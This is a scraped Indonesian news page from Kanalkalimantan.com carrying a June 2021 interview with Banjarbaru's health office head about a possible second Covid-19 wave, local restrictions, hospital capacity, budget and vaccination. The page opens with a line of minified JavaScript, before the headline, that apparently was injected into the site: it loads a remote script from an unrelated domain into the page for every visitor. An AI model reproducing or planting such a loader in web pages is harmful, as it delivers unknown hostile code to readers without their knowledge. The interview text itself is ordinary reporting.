(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

EKSKLUSIF. Berpacu Hadapi Gelombang II Covid-19, Rizana Mirza: Banjarbaru Sangat Riskan Sekali!


KANALKALIMANTAN.COM, BANJARBARU– Perang melawan Covid-19 menjadi pertarungan yang belum final. Kini, tantangan baru muncul menghadapi lonjakan besar kasus yang terjadi secara nasional di beberapa daerah.

Banjarbaru, sebagai salah satu kota penting di Kalsel pun bersiap. Kepala Dinas (Kadis) Kesehatan Rizana Mirza, blak-blakan memaparkan kondisi yang dihadapi saat ini kepada reporter Kanalkalimantan.com, Nurul Hikmah, Rabu (30/6/2021) di kantornya.

Simak wawancara lengkapnya di sini:

Baca juga: Syok Pasien Covid-19 Wisma Atlet Capai 92%, Jokowi: Saya Betul-betul Gemetar dan Grogi

 

 

Kondisi Covid-19 secara nasional saat ini menunjukkan lonjakan kasus tinggi. Bagaimana dengan Banjarbaru sendiri?

Di Banjarbaru saat ini tidak mengalami peningkatan yang signifikan, untuk jumlahnya masih standar. Tapi saya cukup khawatir karena di Jawa cukup tinggi dan akses bandara kita masih buka, jadi Banjarbaru punya potensi untuk meningkat juga.

Secara geografis, letak Banjarbaru diapit dengan kota dan kabupaten lain. Tentunya ini sangat riskan dengan peluang penyebaran Covid-19. Langkah apa yang dilakukan untuk pengetatan selama ini?

Banjarbaru memang sangat strategis, apalagi bandara ada di tempat kita. Sangat riskan sekali! Apalagi banyak tempat hiburan dan perbelanjaan. Upayanya masih dengan PPKM Mikro, belum bisa ada pengetatan karena akan mengganggu lalu lintas seperti macet.

Paling di momen-momen tertentu saja diadakan pengetatan seperti saat hari raya Idul Fitri kemarin ada posko-posko di perbatasan wilayah dan dilakukan swab, tapi tidak bisa diterapkan setiap hari karena ada pertimbangan biaya juga. Jadi untuk wilayah lain yang bertetangga dengan Banjarbaru, saling berkoordinasi saja untuk menerapkan PPKM Mikro.

Baca juga: EKSKLUSIF. Soal Covid-19, Kadis Kesehatan Banjarbaru Rizana Mirza: “Saya Sempat Menangis!”

Dari pelaksanaan PPKM Mikro selama ini, menurut Bapak apa yang perlu menjadi catatan atau evaluasi?

Kita sudah berkoordinasi dengan pemerintah kota, untuk evaluasinya masih terkait tentang kepatuhan dan kesadaran masyarakat untuk menerapkan protokol kesehatan. Apalagi untuk tempat-tempat nongkrong, kalo bisa hanya diisi 50% pengunjung saja untuk cafe-cafe dan tempat berkumpul lain agar tetap bisa saling menjaga jarak.

Bagaimana tingkat kepatuhan dan kesadaran masyarakat terhadap PPKM?

Mohon maaf, saya lumayan bosan melihat di berbagai media terkait ketidakpatuhan masyarakat. Dimaklumi kalau pemakaian masker sering kali terkendala karena masih belum terbiasa dan merasa pengap waktu bernapas. Tapi harus ditaati untuk keamanan bersama.

Saya cukup sedih karena masih banyak hoax dan masyarakat tidak percaya dengan keberadaan Covid-19. Mereka yang tidak percaya dengan covid tidak merasakan bagaimana sakitnya terserang Covid-19 dan betapa sedihnya jika ada keluarga yang meninggal karena Covid.

Saya bahkan sempat menangis melihat fakta ini, apalagi mengenang Alm Pak Nadjmi (mantan Wali Kota Banjarbaru Nadjmi Adhani, red) yang meninggal karena terserang Covid-19.

Dari sejumlah kecamatan di Banjarbaru, daerah mana yang secara signifikan perlu diantisipasi serius terkait penambahan jumlah kasus Covid-19?

Ada Kecamatan Banjarbaru Utara, Banjarbaru Selatan, dan Landasan Ulin, karena 3 kecamatan ini termasuk area pusat kota dengan faktor mobilitas dan kegiatan masyarakat.

Varian Delta, saat ini menjadi kasus yang memicu peningkatan Covid-19. Apakah di Banjarbaru ditemukan kasusnya?

Sampai saat ini belum ada laporan ataupun hasil pemeriksaan yang ditemukan ada varian delta. Namun tidak menutup kemungkinan akan ada, kita berdoa saja semoga tidak ada di Banjarbaru mengingat varian delta ini sangat berbahaya.

Apa langkah-langkah antisipasi yang dilakukan Dinkes, jika kemudian ada kasus Delta dan terjadi lonjakan signifikan pasien di sejumlah rumah sakit?

Dinas kesehatan sendiri mengupayakan yang terbaik untuk penanganan covid ini, beberapa bahkan sudah dibangun rumah sakit baru baik swasta maupun negeri.

Menurut Bapak, apakah jumlah RS di Banjarbaru saat ini akan mampu menampung dalam kondisi terburuk jika terjadi ledakan kasus seperti di daerah lain?

Saya tidak bisa memprediksi apakah akan bisa menampung atau tidak, tapi seperti yang saya sebutkan sebelumnya bahwa jumlah rumah sakit semakin bertambah.

Baca juga: Perlu 3.000 Tabung Per Bulan, Stok Oksigen RSD Idaman Banjarbaru Masih Aman!

Bagaimana dengan tenaga kesehatan, apakah ada persiapan untuk rekrutmen? Apakah jumlah saat ini sudah memadai?

Tenaga kesehatan untuk sekarang masih relatif cukup, namun tidak menutup kemungkinan akan kekurangan karena tenaga kesehatan terus-menerus bekerja. Namum untuk rekrutmen belum ada rencana, dulu pernah diadakan rekrutmen dan pernah ada tenaga tracer yang ditempatkan di bandara namun tidak berlangsung lama karena mempertimbangkan biaya insentif yang lumayan mahal.

Terkait kebijakan anggaran, bagaimana ketersediaan dana Covid-19 di Banjarbaru? Masih cukup, atau kurang untuk antisipasi?

Untuk ke depan saya belum bisa memastikan cukup atau tidak, tapi untuk sekarang masih tercukupi karena peningkatan kasus cukup stabil tidak terlalu melonjak tinggi.

Biaya dari dinas kesehatan dialokasikan untuk pembayaran tenaga kesehatan dan vaksinator, untuk rumah sakit, dan pemberdayaan masyarakat seperti bantuan terhadap masyarakat di masa pandemi pun juga ada. Anggaran tahunan selama pandemi untuk dinas kesehatan Banjarbaru sekitaran Rp23 Miliar, namun persisnya saya kurang ingat.

Bagaimana tingkat vaksinasi di Banjarbaru? Apakah sesuai target?

Target kalangan yang divaksin di Banjarbaru hampir memenuhi target, sudah sekitar 98%. Namun masih kesulitan untuk vaksin di usia lansia karena kendala mobilitas masyarakat membawa lansia ke tempat vaksin.

Kapan target vaksinasi rampung untuk 100 persen?

Ditargetkan sampai akhir tahun 2021, paling lambat awal tahun 2022 sudah 100 persen untuk masyarakat Banjarbaru.

Bagaimana tanggapan Anda terkait rencana vaksinasi anak usia 14-18 tahun, apakah diperlukan untuk Banjarbaru?

Vaksin sekarang yang tersedia masih diperuntukan untuk usia 18 tahun ke atas sampai lansia, namun saya rasa sangat perlu vaksin untuk anak-anak di usia 12 sampai 17 tahun mengingat remaja usia seperti itu seringkali bermain dan nongkrong di tempat-tempat umum.

Kapan terakhir kali dinas mengambil vaksin dari pusat dan berapa jumlahnya?

Pengambilan terakhir hari senin kemarin, dan sebanyak 11.000 dosis vaksin. Jumlah itu biasanya habis paling lama dalam waktu seminggu, setelah mengajukan permintaan lagi kepada pusat.

Baca juga: KMP Yunicee Tenggelam di Gilimanuk, 6 Tewas, 14 Masih dalam Pencarian

Sebagai Kadis Kesehatan, Anda memiliki tanggungjawab besar pada penanganan Covid-19. Apakah ini menjadi beban?

Iya, cukup jadi beban bagi saya. Karena saya di hari libur pun tetap bekerja. Tapi ini tanggung jawab saya, amanah besar yang diberi kepada saya. Saya dilantik menjadi kepala Dinas Kesehatan Kota Banjarbaru akhir tahun 2019, awal menjabat langsung disuguhkan pandemi. Tapi saya mencoba enjoy dengan pekerjaan ini, agar tidak stress.

Bagaimana kiat Bapak, untuk tetap menjaga kesehatan di tengah padatnya aktivitas?

Bagi saya, menjaga mood agar selalu happy adalah kuncinya. Karena dengan tidak stress maka imun akan terbentuk.

Apa yang Anda lakukan saat ada waktu lenggang dengan keluarga?

Saya bertemu dan mengobrol intens dengan keluarga di waktu malam hari, kadang jalan keluar untuk dinner bersama di tempat-tempat makan yang cukup nyaman dan aman karena tetap mengutamakan protokol kesehatan.

Apa harapan Bapak terkait pandemi saat ini?

Saya dan kita semua berharap pandemi ini segera berlalu, karena sangat banyak menguras tenaga, waktu, bahkan dana dalam penanganannya. Pesan saya kepada semua masyarakat jaga iman dan imun. Terus berdoa dan patuhi protokol kesehatan, karena menghilangkan pandemi bukan hanya tugas dari dinas serta tenaga kesehatan tapi tugas kita semua untuk saling menjaga.

 

(Kanalkalimantan.com/nurul)

Reporter: nurul
Editor: cell


Risa

Recent Posts

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

12 jam ago

Muhidin Gubernur Kalsel Definitif, 7 Februari 2025 Kembali Dilantik

KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More

15 jam ago

Atasi Persimpangan Tak Beraturan, APILL LIK Liang Anggang Siap Beroperasi

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More

18 jam ago

BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025

KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More

20 jam ago

Jelang Nataru PLN Pastikan Kesiapan Infrastruktur dan Layanan Kelistrikan Andal

KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More

20 jam ago

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

21 jam ago

This website uses cookies.